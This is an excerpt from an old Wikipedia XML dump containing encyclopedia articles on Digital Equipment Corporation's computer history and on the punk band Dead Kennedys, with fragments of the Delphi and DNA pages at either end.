*[http://news.nationalgeographic.com/news/2001/08/0814_delphioracle.html John Roach, &quot;Delphic Oracle's Lips May Have Been Loosened by Gas Vapors&quot; in ''National Geographic news''], August 2001
*[http://geology.about.com/cs/odds_and_ends/a/aa081901a.htm Geology of Delphi]
*[http://www.erowid.org/chemicals/inhalants/inhalants_history1.shtml ''The New York Times,'' March 19, 2002: &quot;Fumes and Visions Were Not a Myth for Oracle at Delphi&quot;]

[[Category:Archaeological sites in Greece]]
[[Category:Holy cities]]
[[Category:Classical oracles]]
[[Category:World Heritage Sites in Greece]]
[[Category:Phokida]]
[[Category:Former theatres]]

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  </page>
  <page>
    <title>Digital Equipment Corporation</title>
    <id>7952</id>
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      <timestamp>2006-03-01T04:03:08Z</timestamp>
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      <minor />
      <comment>/* History */</comment>
      <text xml:space="preserve">[[Image:digital_dec_logo.jpg|right|The DEC logo]]
'''Digital Equipment Corporation''' was a pioneering company in the American [[computer]] industry. It is often referred to within the computing industry as '''DEC'''. (This acronym was once officially used by Digital itself&lt;sup&gt;[[Digital Equipment Corporation#References|&lt;nowiki&gt;[&lt;/nowiki&gt;1&lt;nowiki&gt;]&lt;/nowiki&gt;]]&lt;/sup&gt;, but later discarded.)  Its PDP and VAX products were arguably the most popular mini-computers for the scientific and engineering communities during the 70s and 80s.  DEC was acquired by [[Compaq]], which subsequently merged with [[Hewlett-Packard]].  As of [[2005]] its product lines were still produced under the HP name. For many years its headquarters was in an old woolen mill in [[Maynard, Massachusetts]].

Digital Equipment Corporation should not be confused with [[Digital Research]]; the two were unrelated, separate entities (despite some similarities between the operating systems they produced); nor with [[Western Digital]]. 

== History ==
[[Image:KA10 mod end.jpg|thumb|right|220px|A &quot;B&quot; (blue) series Flip Chip module containing 9 transistors, 1971]]
The company was founded in [[1957]] by [[Ken Olsen]] and [[Harlan Anderson]], two engineers who had been working at [[MIT]] [[Lincoln Laboratory]] on the [[TX-2]] project. The TX-2 was a [[transistor]]-based computer using the then-huge amount of '''64K''' [[36-bit word length|36-bit words]] of [[core memory]]. When that project ran into difficulties, Olsen left to form DEC with Harlan Anderson, a colleague from his MIT days. [[Venture capital]] was provided by [[Georges Doriot]] and his [[American Research and Development Corporation]]. At the time the market was hostile to computer companies, and investors shied from their plans. Instead they started building small digital &quot;modules&quot; (each effectively a single component from the TX-2 design) that could be combined together to be used in a lab setting. In [[1961]] the company was making a profit, and started construction of their first computer, the [[PDP-1]] (PDP being an initialism for [[Programmable Data Processor]]).

The first modules were the free-standing &quot;laboratory modules&quot;, placing one or two gates inside an extruded aluminum housing. These modules could be stacked up in a pre-configured 19&quot; rack shelf that supplied power to the modules; the logic circuits were then established using [[4 mm plug|banana plug]] [[patch cord]]s installed at the front of the modules. The same circuits were then packaged as &quot;[[system module]]s&quot;, which were used to build the PDP-1. The same circuits were then packaged as the first &quot;R&quot; (red) series &quot;[[flip chip|Flip-Chip®]]&quot; modules. Later, other module series provided additional speed, much higher logic density, and industrial I/O capabilities. Digital published extensive data about the modules in free catalogs that became very popular.

=== 8-bit computers ===
The [[VT180]] (codenamed &quot;Robin&quot;) was a [[VT100]] terminal with a [[Zilog Z80|Z80]]-based microcomputer running [[CP/M]].
This evolved into the [[Rainbow-100]], which had both Z80 and [[8088]] CPUs and was capable of running [[CP/M]], [[CP/M-86]], and [[PC-DOS]].

=== 12-bit Computers ===
[[Image:PDP-8.jpg|thumb|220px|right|A PDP-8 on display at the [[Smithsonian]]'s [[National Museum of American History]] in [[Washington, D.C.]]. This example is from the first generation of PDP-8s, built with discrete transistors and later known as the ''Straight 8''.]]
To serve laboratories at a lower cost, DEC provided the [[Programmed Data Processor|PDP-5]], an early minicomputer in 1963.
True success followed with the introduction of the famous [[PDP-8]] in [[1964]].  It was a smaller, 12-bit word machine that sold for about $16,000.  The PDP-8 was small enough to fit on a cart.  It was simple enough to be used for many roles, and they soon started being sold in huge numbers to new market niches, labs, railways, and all sorts of industrial applications.

The PDP-8 was important historically because it was the first computer that was regularly purchased by a handful of end users as an alternative to using a larger system in a data center. Because of their low cost and portability, these machines could be purchased to fill a specific need, unlike the mainframe systems of the day that were nearly always shared among diverse users. Today the PDP-8 is generally regarded as the first [[minicomputer]].
The PDP-8 spawned a cousin, the [[PDP-12]], which merged data acquisition and display capabilities developed with the NIH-sponsored [[LINC]] computers into the PDP-8 architecture.

=== 16-bit computers ===
Another of the famous machines in the PDP series was the [[PDP-11]], which, following an industry trend for 8-bit bytes, used a 16-bit word. PDP-11 machines started in the market essentially as upscale PDP-8s, but as improvements to [[integrated circuit]]s continued, they eventually were packaged in cases no larger than a modern [[Personal Computer|PC]].

The PDP-11 systems supported several operating systems of the day, including [[Bell Labs|Bell Labs']] new [[Unix|UNIX]] operating system as well as DEC's [[RSX]] and [[RSTS]].  Both [[RSTS]] and [[Unix|UNIX]] were available to educational institutions at little or no cost, and these PDP-11 systems were destined to be the sandbox for a generation of engineers and computer scientists.

The PDP-11's 16-bit, byte-oriented architecture provided a 64KB virtual address space.  Most models had a paged physical memory architecture and memory protection features to allow [[time-sharing|timesharing]], and some could support split Instruction &amp; Data spaces for an effective virtual address size of 128KB and a physical address size of up to 4MB.

===18-bit Computers ===
[[Image:Vs-dec-pdp-1.jpg|thumb|PDP-1|220px|right|A typical [[PDP-1]] installation.]]

Through the [[1960s]] DEC produced a series of machines aimed at a price/performance point below [[International Business Machines|IBM]]'s [[mainframe]] machines, typically based on an 18-bit word, using core memory: 
the PDP-1, the PDP-2 (proposed, but never built), the PDP-4 (1963), the PDP-7 and [[Programmed Data Processor|PDP-9]] (1965), and finally the [[Programmed Data Processor|PDP-15]] series (starting in 1970 and later sold as the &quot;XVM&quot; series).  The PDP-15 was an early user of [[TTL]] [[integrated circuits]]. These computers were moderately powerful computers for their time, mainly used in industrial, scientific, and medical laboratories.

=== 36-bit computers ===
For larger scientific problems DEC produced first the PDP-6 in 1964, using a 36-bit architecture.  Using the same word length of the IBM 701-7094 series, which was being replaced by the 32-bit [[IBM 360]] series, provided an alternative growth path for scientific customers.
The successor was the [[PDP-10]] series, eventually being sold as the [[DECsystem-10]] and [[DECSYSTEM-20]]

=== VAX Computer series ===
[[Image:Vax780 small.jpeg|thumb|220px|right|A representative VAX-11/780 system configuration]]

In [[1976]] DEC decided to move to an entirely new 32-bit platform, which they referred to as the ''[[supermini|super-mini]]''. They released this as the [[VAX]] (Virtual Address eXtension) 11/780 in [[1978]], and immediately took over the vast majority of the minicomputer market. Desperate attempts by competitors such as [[Data General]] (which had been formed in [[1968]] by a former DEC engineer who had worked on a 16-bit design that DEC had rejected) to win back market share failed, due not only to DEC's successes, but the emergence of the [[microcomputer]] and [[workstation]] into the lower-end of the minicomputer market.  In [[1983]], DEC cancelled their [[Jupiter project|&quot;Jupiter&quot; project]], which had been intended to build a successor to the PDP-10, and instead focused on promoting the VAX as their flagship model.

The VAX series had an instruction set that is rich even by today's standards (as well as an abundance of [[Addressing mode|addressing modes]]).  In addition to the paging and memory protection features of the PDP series, the VAX supported [[virtual memory]]. The VAX could use both Unix and DEC's own [[OpenVMS|VMS]] operating system.

At its peak in the late [[1980s]], Digital was the second-largest computer company in the world, with over 100,000 employees. It was during this time that they appeared to gain a feeling of invincibility, and branched out into software, producing products for almost every then &quot;hot&quot; niche. This included their own networking system, [[DECnet]], file and print sharing, relational database, and even [[transaction processing]].  Although many of these products were well designed, most of them were DEC-only or DEC-centric, and customers frequently ignored them and used third party products instead.  This problem was further magnified by Olsen's aversion to advertising and his belief that well-engineered products would sell themselves.  Hundreds of millions of dollars were spent on these projects, at the same time that workstations based on [[RISC]] architecture were starting to approach the VAX in performance. Blinded by their own success of the [[VAX]]/[[Virtual Memory System|VMS]] products which followed the proprietary model, the company executives would later be blind-sided by commodity hardware in the form of [[Intel]]-based personal computers and standards-based software such as [[Unix]] and [[Internet]] protocols such as [[TCP/IP]].  In the early [[1990s]] DEC found its sales faltering, and its first layoffs followed. 

In 1990 DEC was about to launch a new generation of computer disk drives into the marketplace. Code named the [[RA90]], it was the second largest development project ever undertaken by the company. Several major technological innovations were to be simultaneously integrated into this state of the art (at the time) product. Unfortunately, because of product design glitches, the RA90 was very late in coming to market. By the time enough glitches had been resolved to allow limited shipments, competitors had released enhanced technology drives at much lower prices. What could have been a huge win for this organization became a great failure.

=== Alpha ===
During the [[1980s]] DEC made several attempts at designing a [[RISC]] processor to replace the VAX architecture. Eventually, in [[1992]] DEC launched the [[DEC Alpha|Alpha]] processor (initially named '''Alpha AXP''', the &quot;AXP&quot; was later dropped). This was a [[64-bit]] [[RISC]] architecture (as opposed to the 32-bit [[CISC]] architecture used in the VAX) and one of the first 64-bit [[microprocessor]] designs.  The Alpha offered class-leading performance at its launch, and subsequent variants continued to do so into the [[2000s]].  Alpha-based computers (the DEC AXP series, later the [[AlphaStation]] and [[AlphaServer]] series) superseded both the VAX architecture and the [[MIPS architecture|MIPS]]-based [[DECstation]] line, and could run VMS, [[Unix]] and Microsoft's new server operating system [[Windows NT]].

DEC tried to compete in the Unix market by marketing the VMS operating system as &quot;[[OpenVMS]]&quot; and by selling their own Unix ([[OSF/1 |OSF/1 AXP]], later renamed Digital UNIX), and it began to advertise more aggressively. DEC was simply not prepared to sell into a crowded Unix market however, and furthermore the low end PC-servers running NT (based on [[Intel]] processors) took marketshare from Alpha-based computers. DEC's workstation and server line never gained much popularity beyond former DEC customers.

===Closing DEC's Business===
Ken Olsen was replaced by [[Robert Palmer (computer businessman)|Robert Palmer]] as the company's CEO, but Palmer was unable to stem the tide of red ink and more rounds of layoffs ensued. DEC's database product, [[Oracle Rdb|Rdb]], was sold to [[Oracle Corporation|Oracle]], and its high-end Storageworks disk unit sold to [[Quantum Corporation]]. In May 1997 DEC sued [[Intel]] for allegedly infringing on its Alpha patents in designing the [[Intel Pentium|Pentium]] chips.  A settlement reached in DEC's favor included sale of DEC's chip business to Intel. In 1997, the printer business was sold to [[GENICOM]] who produced models with the Digital logo.  About the same time its networking business was sold to [[Cabletron Systems]], and eventually the company itself was sold to [[Compaq]] on [[January 26]], [[1998]].  Compaq itself was taken over by [[Hewlett-Packard]] in 2002.

The Digital logo survived for a while after the company ceased to exist, as the logo of Digital GlobalSoft, an IT services company in India (which was a 51% subsidiary of DEC). Digital GlobalSoft was later renamed &quot;HP GlobalSoft&quot;, and no longer uses the Digital logo nor follows the erstwhile Digital culture of engineering predominance.

== Accomplishments ==
Digital supported the [[ANSI]] standards, especially the [[ASCII]] character set, which survives in [[Unicode]] and the [[International Organization for Standardization|ISO]] character set. Digital's own [[Multinational Character Set]] also had a large influence on the [[Latin-1]] characters in [[ISO 8859-1]] and [[Unicode]].

The first versions of the [[C programming language]] and the [[Unix|UNIX system]] ran on Digital's [[Programmed Data Processor|PDP]] series of computers (first on a PDP-7, then the PDP-11's), which were the first commercially viable [[minicomputer]]s.

Digital also produced the popular [[VAX]] computer family, the [[DEC Alpha|Alpha]] (AXP) microprocessor, the first commercially successful workstation (the VT-78), and some commercially unsuccessful personal computers.

Digital produced top-line operating systems, like [[OS/8|OS-8]], [[TOPS-10]], [[TOPS-20]], [[RSTS/E]], [[RSX-11]], [[RT-11]], and [[Virtual Memory System|VMS]].  PDP computers, in particular the [[PDP-11]] model, inspired a generation of programmers and software developers. Some PDP-11 systems more than 25 years old (software and hardware) are still being used ([[as of 2004]]) to control and monitor factories, transportation systems and nuclear plants. Digital was an early champion of [[time-sharing]] systems, as anybody who has used other operating systems like [[MVS]] or [[VM/CMS]] from [[IBM]] can attest. 

Digital was to the command-line interface (CLI) what Apple was to the GUI: there was history before and innovation after, but it was Digital's OSes that put it together in a complete and definitive form. The command-line interfaces found in the Digital's OSes, eventually to be codified as [[DIGITAL_Command_Language|DCL]], would look familiar to any user of modern microcomputer CLI's; those used in earlier systems, such as CTSS, IBM's JCL, or Univac's time-sharing systems, would look utterly alien. Many features of the CP/M and MS-DOS CLI show a recognizable family resemblance to Digital's OSes, including command names such as DIR and HELP and the &quot;name-dot-extension&quot; file syntax.

VAX and [[Micro-VAX]] computers (very widespread in the 1980s) running [[Virtual Memory System|VMS]] formed one of the most important pre-Internet networks, [[DECnet]], which mixed business and research facilities. The [[DECnet]] protocols formed one of the first peer-to-peer networking standards. 

Digital was one of the major champions of [[Ethernet]]. For multiple generations of computers, Ethernet controllers from Digital were ''de facto'' standard components on many computer boards; in particular, DEC's PCI Fast Ethernet controller family (the 21040 and 21143 series, widely referred to collectively as &quot;Tulip&quot;) was highly successful.

[[Computer cluster|Clustering]], an operating system technology which treated multiple machines as one logical entity was invented by Digital. This technology was the fore-runner to systems like [[Network of Workstations]] which are used for massively cooperative tasks such as web-searches and drug research. 

The [[VT100]] [[computer terminal]] became the industry standard, and even today terminal emulators such as [[HyperTerminal]], [[PuTTY]] and [[Xterm]] can emulate a VT100 (though most actually emulate its more capable successor, the [[VT220]]).

The [[X Window System]], the first remote-windowing system, was developed by [[Project Athena]] at [[Massachusetts Institute of Technology|MIT]]. Digital was the primary sponsor for this project. 

[[Dave Cutler]], the operating system guru who led the development of [[RSX-11]]M, [[RSX-11]]M+, [[Virtual Memory System|VMS]] and then [[VAXELN]] left Digital in [[1988]] to lead the development of [[Windows NT]]. A rumor (that more likely started as a joke) has circulated for a long time that WNT=VMS+1 (increment each letter by one).

Notes-11 and its follow-on product, VAXnotes were two of the first examples of online collaboration software, a category that has become to be known as [[Collaborative software|groupware]]. [[Len Kawell]], one of the original Notes-11 developers later joined [[Lotus Development Corporation]] and contributed to their [[Lotus Notes]] product. 

Digital was one of the first commercial businesses connected to the [[Internet]], [http://www.digital.com digital.com] being one of the first of the now ubiquitous ''.com'' domains, and the first commercial website.

The popular [[AltaVista]], created by Digital, was one of the first comprehensive Internet [[search engine]]s (although [[Lycos]] was earlier, it was much more limited).

Invention of [[Digital Linear Tape]] (DLT).

==References==
{{commonscat}}
* &quot;DEC used by Digital itself:&quot; ''PDP11 Processor Handbook'' (1973): page 8, &quot;DEC, PDP, UNIBUS are registered trademarks of Digital Equipment Corporation;&quot; page 1-4, &quot;Digital Equipment Corporation (DEC) designs and manufacturers many of the peripheral devices offered with PDP-11's. As a designer and manufacturer of peripherals, DEC can offer extremely reliable equipment... The LA30 DECwriter, a totally DEC-designed and built teleprinter, can serve as an alternative to the Teletype.&quot;

* Edgar H. Schein, Peter S. DeLisi, Paul J. Kampas, and Michael M. Sonduck, ''DEC Is Dead, Long Live DEC: The Lasting Legacy of Digital Equipment Corporation'' (San Francisco: Barrett-Koehler, 2003), ISBN 1-57675-225-9.

* C. Gordon Bell, J. Craig Mudge, and John E. McNamara, ''Computer Engineering - A DEC View of Hardware Systems Design''; Digital Press, 1978, ISBN 0-932376-00-2.

[[Category:Digital Equipment Corporation| ]]
[[Category:1957 establishments]]
[[Category:Defunct computer companies of the United States]]
[[de:Digital Equipment Corporation]]
[[es:Digital Equipment Corporation]]
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[[it:Digital Equipment Corporation]]
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[[ja:ディジタル・イクイップメント・コーポレーション]]
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  </page>
  <page>
    <title>Dead Kennedys</title>
    <id>7954</id>
    <revision>
      <id>42155253</id>
      <timestamp>2006-03-04T04:35:50Z</timestamp>
      <contributor>
        <username>Rsm99833</username>
        <id>640068</id>
      </contributor>
      <comment>Removed Vandalism perpetuated by 24.255.217.219</comment>
      <text xml:space="preserve">:''This page is about the band; see [[Kennedy political family|Kennedy family]] for the political dynasty, or [[The Kennedy Curse]], which inspired the name &quot;Dead&quot; Kennedys''

{{Infobox_band |
  band_name         = Dead Kennedys|
  image             = [[Image:Dead_kennedys.jpg|240px]]|
  caption           = From left to right: Klaus Flouride, Jello Biafra, D.H. Peligro and East Bay Ray|
  origin            = [[San Francisco]], [[California]]|
  country           = [[United States]]|
  status            = Active|
  years_active      = [[1978]]&amp;ndash;[[1986]]&lt;br /&gt;[[2001]]&amp;ndash;present|
  music_genre       = [[Hardcore punk]]|
  record_label      = [[Cherry Red]]&lt;br /&gt;[[IRS Records]]&lt;br /&gt;[[Alternative Tentacles]]&lt;br /&gt;Manifesto|
  current_members   = [[Jeff Penalty]]&lt;br /&gt;[[East Bay Ray]]&lt;br /&gt;[[Klaus Flouride]]&lt;br /&gt;[[D.H. Peligro]] |
  past_members      = [[Jello Biafra]]&lt;br /&gt;[[Brandon Cruz]]&lt;br /&gt;[[6025]]&lt;br /&gt;[[Ted (musician)|Ted]]|
}}

The '''Dead Kennedys''' are a [[punk rock]] band from [[San Francisco]], [[California]]. Attacking assumptions of the [[left-wing politics|political left]] and [[right-wing politics|right]] with humor, their music mixed the more experimental elements of English punk with the energy of the American punk scene. Lead singer [[Jello Biafra]] was also responsible for releasing many other punk and alternative bands on his [[Alternative Tentacles]] [[record label]].

==History==
The Dead Kennedys formed in [[June]] [[1978]], after guitarist [[East Bay Ray]] advertised for band mates.  The original DK lineup consisted of [[Jello Biafra]] on vocals, East Bay Ray on lead guitar, [[6025]] on rhythm guitar, [[Klaus Flouride]] on bass, and [[Ted (musician)|Ted]] on drums. Their first concert was on July 19, 1978, at the Mabuhay Gardens in San Francisco. They played numerous shows at local venues afterwards. Because of the band's provocative name, they sometimes played under [[pseudonyms]], including &quot;The Sharks&quot;, &quot;The Creamsicles&quot;, and &quot;The Pink Twinkies&quot;. 6025 quit in March of 1979 due to musical differences, and being diagnosed with schizophrenia. In June of [[1979]], the band released their first single, &quot;[[California Uber Alles|California Über Alles]]&quot;, on [[Alternative Tentacles]]. They followed with a well received east-coast tour. 

On March 25, 1980, the DKs were invited to perform at the Bay Area Music Awards in front of music industry big-wigs to give the event some &quot;new wave credibility&quot; in the words of the organizers. The day of the show was spent practicing the song they were asked to play, the underground hit &quot;California Über Alles&quot;. In typically [[Subversion (political)|subversive]], perverse style, the band became the talking point of the ceremony when after about 15 seconds into the song, Biafra said, &quot;Hold it! We've gotta prove that we're adults now. We're not a punk rock band, we're a [[New Wave music|new wave]] band.&quot; The band, who all wore white shirts with a big, black S painted on the front, pulled black ties from around the backs of their necks, to form a dollar sign, then tore into the previously unheard &quot;Pull My Strings&quot;, a barbed, [[Satire|satirical]] attack on the ethics of the mainstream music industry. As well as containing the lyrics &quot;Is my [[Penis|cock]] big enough, is my [[brain]] small enough, for you to make me a star&quot;, the song also sent-up [[The Knack]]'s biggest new wave hit, &quot;My Sharona&quot;. The song was never recorded in the studio but this performance, the first and only time the song was ever performed, was released on the posthumous compilation album ''[[Give Me Convenience or Give Me Death]]''... and the band was never invited to play the awards show again.

During the spring of 1980, they recorded and released &quot;[[Holiday in Cambodia]]&quot;. In the fall they released their debut album, ''[[Fresh Fruit for Rotting Vegetables]]''. It reached #33 in the [[UK Albums Chart]].

In January of 1981, Ted announced that he wanted to leave to pursue a career in architecture and would help look for a replacement. He played his last concert in February. His replacement was [[D.H. Peligro]]. In May, the band released the single &quot;[[Too Drunk To Fuck]]&quot;. The song caused much controversy in the U.K. as BBC feared the single would reach the Top 30; this would require a performance of the song on ''[[Top of the Pops]]''. However, this never came to be as the single peaked at #31. The EP ''[[In God We Trust, Inc.]]'' (1981) and album ''[[Plastic Surgery Disasters]]'' (1982) showed a development in musical style, and their music became a political force, pitting itself against rising elements of American social and political life such as the [[religious right]] and [[Ronald Reagan]]. The band continued touring all over the United States, as well as Europe and Australia, during the 1980s and gained a large underground following.

The release of the album ''[[Frankenchrist]]'' in 1985 caused a fervor with the newly formed [[PMRC]] (Parents Music Resource Center), and in 1986, the members of the DKs, along with other parties involved in the distribution of ''[[Frankenchrist]]'', were brought to trial for &quot;distribution of harmful matter to minors&quot; due in part to an [[H.R. Giger]] [[Penis_Landscape|illustration]] included with the album. Biafra says that during this time government agents invaded and searched his home. The band members were each faced with up to a year in jail and a $2000 fine. In 1987, the charges were dropped after a three-week trial. The album, however, was banned from many record stores nationwide. 

In January of 1986, the DKs decided to break up to pursue other interests. They played their last concert on February 21. During the summer they recorded ''[[Bedtime for Democracy]]'', which was released in November. In December, the band announced their split. Biafra went on to become a highly active political force, appearing on numerous television shows and releasing a number of [[spoken-word]] albums. Ray, Flouride, and Peligro also went on to solo careers.

==Internal conflicts==
It was discovered in the late 1990s that there were issues with the payments each band member had received from their record label [[Alternative Tentacles]].  Former band members claimed that Jello Biafra had conspired to pay less royalty rates to the band members. Although both sides agreed that the failure to pay these royalties was an accounting mistake, the DKs took issue with the fact that Biafra failed to inform the band of the mistake after he and his co-workers discovered it (though by all accounts he paid the band). Biafra claims that the DKs' lawyers had told him only to correspond through lawyers and not directly with the band, as the conflict over payment had apparently arisen before the accounting mistake was discovered. Both sides claim they attempted to resolve the matter without legal action, but the ultimately complicated legal dispute (involving royalties, publishing rights, and a number of other issues) soon led to the courts, where Biafra was found liable. Biafra's appeal was denied; he had to pay the outstanding fees, and was forced to hand over the rights to the majority of Dead Kennedys' back catalogue to the three, who claimed that [[songwriting credits]] were due to the entire band (Jello had received sole songwriting credit for most Dead Kennedys songs on all released albums for the last 20 years or so without complaints from the band, though a minority of songs had given credit to certain group members or the entire band as a whole, indicating a system designed to reflect the primary composers rather than a regimented system like the Jagger/Richards partnership; today, most Kennedys reissues list the songwriters as &quot;Biafra, Dead Kennedys&quot; indicating Biafra's lyrical contributions -- which the band doesn't dispute, or else simply as &quot;Dead Kennedys&quot;). Jello's bandmates found new distribution through another label, [[Manifesto Records]].

This dispute was hotly contested by all concerned who felt passionately for their cause, and the case caused minor waves within punk circles. Many fans felt that DKs' lawsuit against Jello was motivated by greed, as the other three band members had numerous unsuccessful solo records and gigs after the band's break-up (Biafra was by far the most prolific and successful of the four). In addition, Biafra claims that guitarist [[East Bay Ray]] had long expressed displeasure with [[Alternative Tentacles]] and with the amount of money he received from them, thus the original incentive for the discovery of the back payments. Some observers felt that although Biafra did not try to cheat his band in any way (as he does not take a salary from Alternative Tentacles), his sneering, irreverent attitude did not endear him to jurors during the trial. Biafra, using his typical tactics, accused the band of wanting to license the famous Dead Kennedys song &quot;[[Holiday in Cambodia]]&quot; for use in a Levi's jeans commercial, which the band denied. Biafra apparently pushed this issue in court, although there was no hard evidence and the jurors were apparently unconcerned with corporate use of independently produced political music. Biafra would later complain that the jury was not sympathetic towards underground music and punk culture. The song never appeared in a Levi's commercial, although in interviews Biafra described the situation surrounding the commercial in detail and was able to give specifics about the advertisement.

Biafra's bandmates, under the apparent, though unspoken leadership of [[East Bay Ray]], maintain that they sued because of Jello Biafra's deliberate witholding of money, though when pressed they have acknowledged that the payment was an accounting mistake and that Biafra was wrong in failing to inform the band directly, however details about this issue remain scarce. The band also maintains that the entire Levi's story was completely fictitious and invented by Biafra to discredit them. Ultimately, these issues have led to a souring of relationships with the erstwhile bandmates, who still have not resolved their personal differences as of 2006.

Matters were stirred up even further when the three bandmates invited Jello Biafra to &quot;bury the hatchet&quot; at a band reunion. Jello Biafra felt it was unprofessional because no one contacted him directly (though he was undoubtedly still distressed by having been dragged through numerous lawsuits and by having the entire Dead Kennedys catalog taken from his label’s care). In addition, Biafra was disdainful of the reunion, having long expressed his disdain for nostalgia and rock reunion/oldies tours in particular (with the 1996, corporate-sponsored Sex Pistols reunion perhaps fresh in his mind), flatly stating that the whole affair was an exercise in greed. The re-formed Dead Kennedys, it must be said, followed their court victory by announcing a number of tour dates, released re-issues of all Dead Kennedys albums (except ''[[Fresh Fruit for Rotting Vegetables]]'', which they did not have the rights to until 2005) and a number of concert DVDs, as well as licensing several songs for use by major corporations (in [[Tony Hawk Pro Skater]] and ''[[The Manchurian Candidate (2004 film)|The Manchurian Candidate]]'' remake, respectively), actions that were extremely controversial among more politically astute fans, but ultimately (and curiously) paid little attention by the press and the groups overall fanbase. Biafra, predictably angry with his former bandmates, did not mince words in criticizing the reunited group, slagging all of the commercially-oriented re-issues and DVDs they released, as well as criticizing them for advertising shows using his own image taken from the original 80s incarnation of the band, which he labeled as false advertising. Biafra also attacked them on song called &quot;[[Those Dumb Punk Kids (Will Buy Anything)]]&quot;, which appears on his second collaboratory with punk metal band [[The Melvins]], ''[[Sieg Howdy|Sieg Howdy!]]''.

==Reformation==
In 2001, Ray, Peligro and Flouride reformed the group with [[Brandon Cruz]] taking Biafra's role as vocalist (due to the breakdown in communications detailed above).  There has been much debate as to whether this is a reformed DKs, or some form of tribute band, however they have played under the group name &quot;Dead Kennedys&quot; as well as the variant &quot;DK Kennedys&quot; (to make the distinction between the original line up including Biafra and possibly to avoid further lawsuits such as the one filed against the new lineup of [[the Doors]] without [[Jim Morrison]]).  Many promoters simply advertise them as &quot;Dead Kennedys&quot; regardless, and promotional material has featured pictures of Biafra. The reformed group has played across the continental United States, Europe, Asia, South America, and Russia. These shows included a show in Turkey sponsored by Coke.

Brandon Cruz left the band, citing creative differences. Cruz was replaced by [[Jeff Penalty]] as lead vocalist. The band has released two live albums on Manifesto Records of old performances - ''[[Mutiny On The Bay]]'', an edited-together compilation of various live performances of varying quality from the San Francisco area, and ''[[Live at the Deaf Club]]'', a recording of a 1979 performance at the Deaf Club in San Francisco, which was greeted with more enthusiasm. Incidentally, the latter performance was former bandmember 6025's final show with the band. These releases have caused more conflict among the band and its former frontman, and have been denounced by Jello Biafra as an attempt to cash in on the DKs' legacy, who accused the releases of being of poor sound quality and claims to not be receiving royalties from their sale or the sale of any Manifesto Records releases. The other band members deny Biafra's accusations of greed, despite having licensed DKs music, traditionally an expression of anti-corporatism, for use in major corporate endeavors (see above).

==Lyrical stance==
The DKs are noted for the acerbity of their lyrics, which generally take a harsh critique of contemporary America that is staunchly [[left-wing]]. Unlike other leftist punk bands who use more direct sloganeering, the Kennedys' lyrics are often [[satirical]] and sarcastic. &quot;[[Holiday In Cambodia]]&quot; is a multi-layered satire targeting both [[yuppie]] culture and [[Cambodia]]'s then-current [[Khmer Rouge]] regime (together with the US government who at the time of recording were tacitly supporting [[Pol Pot]] in his war against [[Vietnam]]). Songs such as &quot;[[Kill The Poor]]&quot;, &quot;[[California Über Alles]]&quot; and &quot;[[Police Truck]]&quot; actually take the lyrical viewpoint of the band's hated right-wing targets. In some cases in their early days the band attracted support from right-wing punks who took the lyrics of &quot;Kill The Poor&quot;, etc. at face value, somehow missing the staggering amount of sarcastic nastiness and irony with which the lyrics were presented. The Kennedys wrote a song in response to this development, tellingly titled &quot;[[Nazi Punks Fuck Off!]]&quot;.

The Kennedys' generally Biafra-penned lyrics sometimes employed the deliberately over-the-top shock tactics traditionally associated with punk; but even these songs were often colored by scathing, sometimes black humor; songs like &quot;Holiday In Cambodia&quot; and &quot;[[Chemical Warfare]],&quot; which employed violent, genocidal imagery, are some of the better examples. However, unlike many other punk and hardcore bands who play with such themes, the Kennedys usually have a clear progressive point to make when they shock.

Jello Biafra continues to be a noted critic of the American political establishment, embarking on lecture tours both before and after his time with the band.

==Samples==
{{multi-listen start}}
{{multi-listen item|filename=Holiday in Cambodia.ogg|title=Holiday in Cambodia|description=&quot;Holiday in Cambodia&quot; from ''Fresh Fruit for Rotting Vegetables''|format=[[Ogg]]}}
{{multi-listen end}}

==Members==
'''Current lineup'''
*[[Jeff Penalty]] - vocals (2003-present)
*[[East Bay Ray]] - lead guitar (1978-1986, 2001-present)
*[[Klaus Flouride]] - bass (1978-1986, 2001-present)
*[[D.H. Peligro]] - drums (1981-1986, 2001-present)

'''Former members'''
*[[Jello Biafra]] - vocals (1978-1986)
*[[Brandon Cruz]] - vocals (2001-2003)
*[[6025]] - rhythm guitar (1978-1979)
*[[Ted (musician)|Ted]] - drums (1978-1981)

==Discography==
===Studio albums===
*''[[Fresh Fruit for Rotting Vegetables]]'' - September [[1980]] (# 33)
*''[[Plastic Surgery Disasters]]'' - November [[1982]]
*''[[Frankenchrist]]'' - October [[1985]]
*''[[Bedtime for Democracy]]'' - November [[1986]]

===Live albums===
*''[[A Skateboard Party]]'' - August [[1983]]
*''[[Mutiny on the Bay]]'' - February [[2001]]
*''[[Live at the Deaf Club]]'' - March [[2004]]

===Compilation albums===
*''[[Give Me Convenience or Give Me Death]]'' - June [[1987]]

===EPs===
*''[[In God We Trust, Inc.]]'' - December [[1981]]

===Singles===
*''[[California Über Alles]]'' - June [[1979]]
*''[[Holiday in Cambodia]]'' - May [[1980]]
*''[[Kill the Poor]]'' - October [[1980]] (# 49)
*''[[Too Drunk to Fuck]]'' - May [[1981]] (# 31)
*''[[Nazi Punks Fuck Off!]]'' - November [[1981]]
*''[[Bleed for Me]]'' - July [[1982]]
*''[[Halloween (song)|Halloween]]'' - December [[1982]]

===Videos===
*''[[The Early Years Live]]'' - July [[1987]]
*''[[The Lost Tapes (Dead Kennedys)|The Lost Tapes]]'' - July [[2003]]
*''[[Live at DMPO's on Broadway]]'' - February [[2004]]

==See also==
*[[Punk ideology]]

==References==
*Erlewine, Stephen Thomas. &quot;[http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=11:z95j8q9tbtq4 Dead Kennedys]&quot;. [[All Music Guide]]. Retrieved May 10, 2005.

==External links==
*[http://www.alternativetentacles.com Alternative Tentacles - Record Label Launched by Dead Kennedys]
*[http://www.alternativetentacles.com/bandinfo.php?band=deadkennedys&amp;sd=KKxJJPQ55VUXbEdA@FA Alternative Tentacles's Dead Kennedys Biography]
*[http://www.deadkennedys.com/ Official site of the DK Kennedys]

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  </page>
  <page>
    <title>DNA</title>
    <id>7955</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42062020</id>
      <timestamp>2006-03-03T15:21:50Z</timestamp>
      <contributor>
        <username>Spaully</username>
        <id>284087</id>
      </contributor>
      <comment>Revert to revision 42010992 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">:''For other uses, see [[DNA (disambiguation)]].''
&lt;!--
